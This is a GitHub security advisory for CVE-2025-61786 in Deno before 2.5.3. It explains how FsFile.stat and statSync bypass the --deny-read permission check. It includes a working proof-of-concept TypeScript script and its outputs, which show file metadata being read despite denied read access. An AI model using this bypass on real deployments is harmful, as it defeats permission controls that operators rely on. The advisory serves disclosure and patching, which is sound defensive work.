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Deno's --deny-read check does not prevent permission bypass

Low severity GitHub Reviewed Published Oct 7, 2025 in denoland/deno • Updated Oct 8, 2025

Package

cargo deno (Rust)

Affected versions

< 2.5.3

Patched versions

2.5.3

Description

Summary

Deno.FsFile.prototype.stat and Deno.FsFile.prototype.statSync are not limited by the permission model check --deny-read=./.

It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with --deny-read=./)

Similar APIs like Deno.stat and Deno.statSync require allow-read permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model.

PoC

Setup:

deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3

touch test1.txt
  • poc_file.stat.ts
// touch test1.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1
// deno run --allow-write=./ poc_file.stat.ts 1
async function poc1(){
    using file = await Deno.open("./test1.txt", { read: false, write: true});
    const fileInfo = await file.stat();
    console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2
// deno run --allow-write=./ poc_file.stat.ts 2
function poc2(){
    using file = Deno.openSync("./test1.txt", { read: false, write: true});
    const fileInfo = file.statSync();
    console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3
// deno run --allow-write=./ poc_file.stat.ts 3
async function poc3(){
    // not executed
    const fileInfo = await Deno.stat("./test1.txt");
    console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4
// deno run --allow-write=./ poc_file.stat.ts 4
function poc4(){
    // not executed
    const fileInfo = Deno.statSync("./test1.txt");
    console.log(fileInfo.isFile);
}


async function main(){
    const poc = Deno.args[0] || 1;

    const status = await Deno.permissions.query({ name: "read", path: "./" });
    console.log(status);
    switch (poc) {
        case "1":
            poc1()
            break;
        case "2":
            poc2()
            break;
        case "3":
            poc3()
            break;
        case "4":
            poc4()
            break;
        default:
            poc1()
    }
}

main()

Output:

  • deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1
PermissionStatus { state: "denied", onchange: null }
true
  • deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2
PermissionStatus { state: "denied", onchange: null }
true
  • deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
    const fileInfo = await Deno.stat("./test1.txt");
                                ^
    ...
  • deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
    const fileInfo = Deno.statSync("./test1.txt");
                          ^
    ...

Impact

Permission model bypass

References

@bartlomieju bartlomieju published to denoland/deno Oct 7, 2025
Published by the National Vulnerability Database Oct 8, 2025
Published to the GitHub Advisory Database Oct 8, 2025
Reviewed Oct 8, 2025
Last updated Oct 8, 2025

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(1st percentile)

Weaknesses

Improper Privilege Management

The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor. Learn more on MITRE.

CVE ID

CVE-2025-61786

GHSA ID

GHSA-qq26-84mh-26j9

Source code

Credits

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